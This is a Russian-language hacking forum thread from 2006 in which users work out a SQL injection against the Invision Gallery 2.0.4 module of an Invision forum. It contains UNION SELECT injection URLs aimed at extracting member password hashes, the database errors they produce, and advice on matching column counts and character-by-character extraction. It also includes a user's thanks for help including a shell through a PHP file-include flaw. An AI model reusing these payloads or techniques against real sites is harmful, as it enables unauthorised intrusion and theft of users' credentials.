 |
|
07.12.2006, 16:35
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
С нами:
10261766
Репутация:
1079
|
|
А как считать converge_members_pass и converge_pass_salt из БД (я нашел скуль в invision gallery 2.0.4) ??? Когда ввожу в адрес вот так: site/forum/index.php?act=module&%20%20module=gallery&cmd=slid eshow&show=1,%201%20UNION%20SELECT%20converge_pass _hash%20FROM%20ipbf_members%20LIMIT%201
То выдает ошибку : mySQL query error: SELECT i.file_type, i.masked_file_name, i.caption, i.id, i.directory, m.name, m.id AS mid
FROM ipbf_gallery_images i, ipbf_members m
WHERE album_id=0 AND m.id=i.member_id
ORDER BY date DESC
LIMIT 1, 1 UNION SELECT converge_pass_hash FROM ipbf_members LIMIT 1, 1
SQL error: Incorrect usage of UNION and ORDER BY
|
|
|
07.12.2006, 17:16
|
|
Познающий
Регистрация: 16.10.2006
Сообщений: 82
С нами:
10299266
Репутация:
33
|
|
Не совпадает количество столбцов до юнион и после, кроме того возможно после order by нельзя употреблять union. В любом случае есть возможность посимвольного перебора.
Последний раз редактировалось vmn; 07.12.2006 в 17:19..
|
|
|
|
07.12.2006, 18:22
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
С нами:
10261766
Репутация:
1079
|
|
Сообщение от vmn
Не совпадает количество столбцов до юнион и после, кроме того возможно после order by нельзя употреблять union. В любом случае есть возможность посимвольного перебора.
Спасибо! Но это мне не поможет 
Я вот еще нашел, но тут тоже не врубаюсь.
http:/site/forum/index.php?act=module&module=gallery&cmd=si&img=207 %20UNION%20SELECT%201,2,3,4,converge_pass_hash%20F ROM%20ipbf_members_converge
И соответственно:
mySQL query error: SELECT id, caption, masked_file_name, directory, media, thumbnail FROM ipbf_gallery_images WHERE album_id=3 AND id > 207 UNION SELECT 1,2,3,4,converge_pass_hash FROM ipbf_members_converge ORDER BY id ASC LIMIT 0,2
SQL error: The used SELECT statements have a different number of columns
Не поможешь?(уже нашел)
Так. Я нашел число столбцов точно, теперь выдает страницу с картинкой. Но почему-то не дает мне хэшей.
Последний раз редактировалось Macro; 07.12.2006 в 18:27..
|
|
|
|
07.12.2006, 20:12
|
|
Новичок
Регистрация: 05.12.2006
Сообщений: 16
С нами:
10226605
Репутация:
1
|
|
Огромнеейшее спасибо Хатабычюю ака }{0tt@БЬ)Ч
Что помог мне заинклюдить шелл =),
+5 так сказать =).
|
|
|
|
07.12.2006, 20:14
|
|
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
С нами:
10686686
Репутация:
447
|
|
Сообщение от Rebz
возможно php-incude. Эххх.. попробовал бы %00, ain.php?pid=php-include вроде так.
Глобальный инклуд там и даже нулевой байт не нужен.
Последний раз редактировалось }{0TT@БЬ)Ч; 07.12.2006 в 20:16..
|
|
|
|
07.12.2006, 20:34
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
С нами:
11517446
Репутация:
2258
|
|
Мда.Закрыто, раз все сделано.
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
